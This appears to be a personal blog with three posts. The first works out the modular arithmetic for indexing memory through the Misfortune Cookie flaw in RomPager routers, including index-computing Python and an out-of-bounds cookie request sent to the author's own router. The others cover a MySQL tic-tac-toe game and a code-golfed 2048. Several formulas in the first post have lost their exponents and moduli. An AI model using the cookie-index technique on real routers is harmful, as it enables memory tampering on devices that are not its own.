17 Jan 2015, 15:53

Cookie Math

There was a very interesting presentation at the last 31C3 conference given by two very talented security researchers: Shahar Tal and Lior Oppenheim. The vulnerability they found targets many different routers from various manufacturers and was, apparently, patched 10 years ago (!) by the software company who made RomPager, the software in question. Let’s just say vendors are slow in deploying patches, leaving tens of millions of routers vulnerable to potential remote bricking, turning into botnets or who knows what else. It was named Misfortune Cookie for a good reason, but what does that have to do with math?

Apparently, there is a preallocated array in the webserver capable of storing 10 cookies, 40 bytes each. The cookie number is used as array index - converted to integer, multiplied by 40 and added to a memory address to read or write the correct location without ever checking boundaries.

You can pass an arbitrary number and address any memory location relative to a certain fixed point in memory. The only catch is that it gets multiplied by 40. What can you do if you need better precision to avoid overwriting something else near the memory location you are targeting?

This can be written in a form of ax ≡ y (mod m) and it’s called a Linear Congruence. Obviously, a is 40 since we move in steps of 40. We need to find such x that multiplied by 40 gives us a desired y modulo m we need to move in memory relative to the present location. M is (the size of a 32 bit number could fit 0-4294967295, anything more than that and it will overflow and start from zero again, just like a clock face starts from 1 when it reaches 12), making the equation 40 xy (mod ).

For this to have a solution, x needs to be divisible with the greatest common divisor of both 40 and , which is 8 - that’s how many unique solutions we’ll get. Now we can say and reduce the expression to 5x ≡ z (mod 536870912). The way to solve it is to find the multiplicative inverse modulo m - a number we can multiply both sides with so that it gives 1 when multiplied by 5 in this modular algebra.

To get the other solutions, we need to keep adding the modulus value (536870912) to the result and reduce when needed. The referer is located at 0x2e48 to the LEFT of the cookie array. Since we cannot go backwards, we would like to add 0xffffd1b8 to overflow 32 bit number and end up at the desired address.

>>> def calc(a): return ((a/8)*214748365) % (1<<32)
>>> sorted([(calc(int('0xffffd1b8',16))+i*536870912)%(1<<32) for i in range(8)])
[322122251, 858993163, 1395864075, 1932734987, 2469605899, 3006476811, 3543347723, 4080218635]

# -- Let's do a check. 

>>> hex((322122251*40) % (1<<32))
'0xffffd1b8'

Now let’s try it on my router!


send: 'GET / HTTP/1.1\r\nHost: 192.168.1.1:7547\r\nCookie: C322122251=/referer-test.html;\r\n\r\n'
reply: 'HTTP/1.1 404 Not Found\r\n'
header: Content-Type: text/html
header: Transfer-Encoding: chunked
header: Server: RomPager/4.07 UPnP/1.0
header: EXT:
<html>
<head>
<title>Object Not Found</title></head><body>
<h1>Object Not Found</h1>The requested URL '/' was not found on the RomPager server.
<p>Return to <A HREF="/referer-test.html">last page</A><p>
</body></html>        ^^^^^^^^^^^^^^^^^^

Is there another way?

It’s not necessary to find a general solution, sometimes thinking differently can work too.

How many additional bits can multiplying by 40 add to a number’s binary representation? It’s between 32 (that’s ) and 64 (that’s ), so we have to assume 6 bits. The question becomes, which number multiplied by 40 and with 6 most significant bits discarded is equal to our input variable y? The router CPU might be stuck with 32 bits, but Python isn’t. Why not simply reconstruct these discarded bits by testing each case? Guess what the discarded value might have been and divide by 40 to check if the assumption was correct. For just 6 bits added, it isn’t terribly inefficient to check all possibilities and it goes to prove there are many ways to address a problem. Pun intended! :)

  Start with 4294955448 in binary form.
          11111111111111111101000110111000

  Multiplying by 40 gives 171798217920. In binary, that's
  100111  11111111111110001100010011000000
 overflow

The 100111 is simply too much to store in a 32 bit memory unit so it gets discarded, and the rest we called y. We now need to do this in reverse, starting from y, guessing the discarded part and checking if division by 40 gives the starting value. If it does - that’s it.

t = int('0xffffd1b8', 16)

>>> [i for i in map(lambda a: ((a<<32)+t)/40, range(64)) if (i*40)%(1<<32)==t and i<(1<<32)]
[322122251, 858993163, 1395864075, 1932734987, 2469605899, 3006476811, 3543347723, 4080218635]

So the next time you complain learning math is silly when studying for a CS degree, just remember you might actually need it!

05 Oct 2014, 17:25

Tic-Tac-Toe in ... MySQL

If you ever attended a boring lecture, you probably know this game by heart. Frequently scribbled on textbook margins and school desks, it’s insanely popular and fun to play. Talking to a friend about MySQL made me wonder if such a respectable, high performance database can be misused and tricked into being a gaming platfom. While it isn’t likely going to run Quake, maybe a simple game of Tic-Tac-Toe would be just right.

Why would anyone do this? Well, making floppy drives play The Imperial March isn’t very useful either, but it’s darn entertaining. MySQL is a powerful tool with strong scripting capabilities and Turing complete as well, so implementing this game in a single player mode is possible.

Implementation

First, we need a board. To keep things simple, we’ll keep it as a 9 letter string - matrix element with position (1,1) will be the first element, then element (1,2) and so on .

SET @ploca = '_________';

After defining something to store and describe the board in, we declare AI is using ‘o’ and the player will be playing with ‘x’. Underscores are used to represent unclaimed fields. Since MySQL isn’t Perl or Python, we’ll have to improvise a little and create a function to check what’s placed on the board at a specific (row,column) position.

CREATE FUNCTION get(instring VARCHAR(255), y INT, x INT) RETURNS CHAR(1) RETURN SUBSTRING(instring, 3*(y-1)+x, 1);

Now we need to think of a way to display the board to the player. There is no simple print function and we are trying to display a string as a table, so this is what I could think of.

DELIMITER $$
CREATE PROCEDURE display_board(IN l VARCHAR(16))
BEGIN
      DROP TEMPORARY TABLE IF EXISTS `tablica`;
      CREATE TEMPORARY TABLE `tablica` (ta varchar(1), bli varchar(1), ca varchar(1));
      INSERT INTO tablica VALUES (get(l, 1,1), get(l, 1,2), get(l, 1,3));
      INSERT INTO tablica VALUES (get(l, 2,1), get(l, 2,2), get(l, 2,3));
      INSERT INTO tablica VALUES (get(l, 3,1), get(l, 3,2), get(l, 3,3));          
      SELECT * from tablica;
END
$$

We declare a temporary table, extract characters from our board-string and select it. This will print it (somewhat) nicely to the player.

+------+------+------+
| ta   | bli  | ca   |
+------+------+------+
| o    | _    | _    |
| _    | x    | _    |
| _    | _    | _    |
+------+------+------+
3 rows in set (0.02 sec)

AI - making a respectable oponent

This is a good time to talk about the AI. Taking the classic approach isn’t something you do when coding for fun, so I decided to do something different. When doing something weird in a database engine, why not use it in your advantage? Basic combinatorics tells us each field can be either ‘o’, ‘x’ or empty, and there are 9 fields so that’s 39 = 19,683 possible board positions. Also, many positions are invalid - you can’t have all x’s because players take turns, you can’t play after you’ve lost etc. so the real number of valid board is much smaller (it’s 5477).

Game theory teaches us Tic-Tac-Toe can never actually be won if you pick optimal moves, so we’ll run it once to generate a tree of best computer moves given a certain position, store it permanently in the database, and use it to defeat the puny human.

Tic tac toe

Each optimal move for a certain position will be stored as a table row along with its predecessor’s id, so we can look it up and know where to move.

+-------+-----------+------------+------+------+--------+
| id    | matrix    | moves_next | kraj | win  | parent |
+-------+-----------+------------+------+------+--------+
| 32041 | oxooxxo_x | x          |    1 | o    |  32040 |
+-------+-----------+------------+------+------+--------+

An example of a move stored in a database - this is a finished game which a computer (‘o’ player) won. Let’s implement a function for making a move.

DELIMITER $$
CREATE PROCEDURE place_x(IN y INT, IN x INT)
BEGIN
      IF get(@ploca, y, x) = '_' THEN   
    SELECT concat(substring(@ploca, 1, 3*(y-1)+x-1), 'x', substring(@ploca, 3*(y-1)+x+1)) INTO @ploca;
    CALL display_board(@ploca);

        SELECT id,kraj,win FROM tictactoe WHERE matrix=@ploca AND moves_next='o' LIMIT 1 INTO @parent_id, @kraj, @win;
        SELECT matrix,kraj,win FROM tictactoe WHERE parent=@parent_id LIMIT 1 INTO @ploca, @kraj, @win;
    
    CALL display_board(@ploca);
    
    IF @kraj = 1 THEN   
      IF @win = 'o' THEN SELECT 'Izgubili ste!' AS ' '; ELSE  SELECT 'Nerijeseno. Pokusajte ponovno!' AS ' '; END IF;
      SET @ploca = '_________';
      CALL display_board(@ploca);
    END IF;
      END IF;
END
$$
DELIMITER ;

Constructing the optimal move tree

If you ever saw Wargames, you probably remember the scene where the kid saves the world by making the computer play Tic-Tac-Toe with itself. The same thing is done here (minus saving the world part). Computer plays both sides, but when impersonating a human it checks all moves, not just the best one, because a human might make a mistake. To determine the best move, a recursive minimax algorithm is used, checking long-term consequence of a move (‘move’ function) and choosing the one with a best outcome.

This python algorithm is ran only once; it recursively traverses the moves tree and inserts nodes as database rows. Our database could also be imported from external file, effectively eliminating any external dependencies, even if they are only a one-time thing. A single database row also contains state flags to determine if the game is over or not.


#!/usr/bin/python
import itertools, hashlib, MySQLdb

ploca = list('_' * 9) 
db=MySQLdb.connect('localhost', 'game', 'game', 'game')
c=db.cursor()

def move(ploca, player):
    if len(set(ploca)) == 1: return 0, 4
    nextplayer = 'x' if player is 'o' else 'o' 
    if pobjednik(ploca):
        return (-1, -1) if player is 'x' else (1, -1)

    reslist = []
    lista = []

    if provjeri_kraj(ploca): return 0, -1
    for i in range(9):
        if ploca[i] == '_': lista.append(i)

    for i in lista:
        ploca[i]=player
        ret,mov=move(ploca, nextplayer)
        reslist.append(ret)
        ploca[i]='_'

    if player is 'x': return max(reslist),lista[reslist.index(max(reslist))]
    else: return min(reslist),lista[reslist.index(min(reslist))]

def moguci_potezi(ploca): return [i for i in zip(range(9), ploca) if i[1] is '_']
def provjeri_kraj(ploca): return True if not len(moguci_potezi(ploca)) else False
def igraceva_polja(igrac, ploca): return [i for i in zip(range(9), ploca) if i[1] == igrac]
def nerijeseno(ploca):  return True if provjeri_kraj(ploca) and not pobjednik(ploca) else False

def pobjednik(ploca):       
    dobitne_mogucnosti = ([0,1,2], [3,4,5], [6,7,8], [0,3,6], [1,4,7], [2,5,8], [2,4,6], [0,4,8])
    for strana in ('x', 'o'):
        if [len([ploca[i] for i in j if ploca[i] is strana]) for j in dobitne_mogucnosti].count(3): return strana
    return False

def povuci_potez(ploca, strana, parent):
    win = 'NULL'
    tbl = [''.join(ploca), strana]
    
    kraj = 1 if nerijeseno(ploca) or pobjednik(ploca) else 0
    if kraj: win = pobjednik(ploca) if pobjednik(ploca) else 'Tie'

    tbl.extend([win, str(kraj)])
    c.execute("INSERT INTO tictactoe (matrix, moves_next, win, kraj) VALUES ('{}');".format("', '".join(tbl)))
    lastrowid = c.lastrowid
    db.commit()

    if parent is not 'NULL': c.execute("UPDATE tictactoe SET parent='{0}' WHERE id='{1}'".format(parent, lastrowid))
    if pobjednik(ploca) or nerijeseno(ploca): return

    slobodna_polja = moguci_potezi(ploca)
    if strana == 'x': 
        for i in slobodna_polja:
            ploca_recursive=ploca[:]
            ploca_recursive[i[0]] = 'x'
            povuci_potez(ploca_recursive, 'o', lastrowid)
    else:
        ploca[move(ploca, 'o')[1]] = 'o'
        povuci_potez(ploca, 'x', lastrowid)

povuci_potez(ploca, 'x', 'NULL')

Making it fancy

That’s all nice, it works, but one more thing… can we make it 3D, just for fun? Mysql can execute shell commands, but apparently you can’t pipe anything through shell scripts. Let’s use a trick - very often it produces long, long tables, and to facilitate looking at the data you can set a pager - something it will pipe your output through, like less or your favorite editor. Why not using that and piping it through … figlet! One apt-get install figlet later, finding a cool looking 3d font and a little sed to strip everything not important and we’re left with this.

mysql> pager sed -e 's/| ta   | bli  | ca   |//g' -e 's/  \+/ /g' -e 's/[+\-]//g' -e '/^$/d' | figlet -f 'larry3d.flf'
mysql> call place_x(2,3);
 __                  __                  __                   __       
/\ \                /\ \                /\ \                 /\ \      
\ \ \        ___    \ \ \       __  _   \ \ \                \ \ \     
 \ \ \      / __`\   \ \ \     /\ \/'\   \ \ \                \ \ \    
  \ \ \    /\ \L\ \   \ \ \    \/>  </    \ \ \                \ \ \   
   \ \ \   \ \____/    \ \ \    /\_/\_\    \ \ \                \ \ \  
    \ \ \   \/___/      \ \ \   \//\/_/     \ \ \      _______   \ \ \ 
     \ \_\               \ \_\               \ \_\    /\______\   \ \_\
      \/_/                \/_/                \/_/    \/______/    \/_/
 __                   __                  __                  __       
/\ \                 /\ \                /\ \                /\ \      
\ \ \                \ \ \        ___    \ \ \       __  _   \ \ \     
 \ \ \                \ \ \      / __`\   \ \ \     /\ \/'\   \ \ \    
  \ \ \                \ \ \    /\ \L\ \   \ \ \    \/>  </    \ \ \   
   \ \ \                \ \ \   \ \____/    \ \ \    /\_/\_\    \ \ \  
    \ \ \      _______   \ \ \   \/___/      \ \ \   \//\/_/     \ \ \ 
     \ \_\    /\______\   \ \_\               \ \_\               \ \_\
      \/_/    \/______/    \/_/                \/_/                \/_/
 __                  __                  __                  __       
/\ \                /\ \                /\ \                /\ \      
\ \ \       __  _   \ \ \        ___    \ \ \       __  _   \ \ \     
 \ \ \     /\ \/'\   \ \ \      / __`\   \ \ \     /\ \/'\   \ \ \    
  \ \ \    \/>  </    \ \ \    /\ \L\ \   \ \ \    \/>  </    \ \ \   
   \ \ \    /\_/\_\    \ \ \   \ \____/    \ \ \    /\_/\_\    \ \ \  
    \ \ \   \//\/_/     \ \ \   \/___/      \ \ \   \//\/_/     \ \ \ 
     \ \_\               \ \_\               \ \_\               \ \_\
      \/_/                \/_/                \/_/                \/_/

Check out the video (HTML5 - webm):

Awesome!

27 Sep 2014, 16:37

My friend's 2048 version

Recently I tried implementing a cool game called 2048 in Python and make it as short as possible. Thinking I did a decent job, I challenged a friend to give it a go. Blown away how much shorter it turned out to be, all I can say is - kudos to Veky.


import random as R,tkinter as T
def M(n,q=lambda m:list(map(list,zip(*m[::-1]))),u={"key":bool,"reverse":1}):
 m=b
 for _ in range(4-n):m=q(m)
 for r in m:
  r.sort(**u)
  for j in range(3):
   if r[j+1]==r[j]:r[j:j+2]=2*r[j],0
  r.sort(**u)
 for _ in range(n):m=q(m)
 return m*(m!=b)
def A(q=8**8-1):
 k,l=R.choice([divmod(i,4)for i,j in enumerate(sum(b,[]))if not j])
 b[k][l]=R.choice((2,2,4))
 for l,d in zip(L,sum(b,[])):l.config(text=d or'',bg='#'+format(q-d*999,"06x"))
def K(e):
 c=M(dict(Left=0,Up=1,Right=2,Down=3)[e.keysym])
 if c:b[:]=c;A()
 any(map(M,F))or[x.config(bg='red',text='<E2><98><B9>')for x in L]
F=(0,1,2,3);b,t=[4*[0]for _ in F],T.Tk();t.grid()
L=[T.Button(t,height=1,width=3,font=("Helvetica",24))for _ in 4*F]
[L[i*4+j].grid(row=i,column=j)for i in F for j in F]
A();t.bind('<Key>',K);t.mainloop()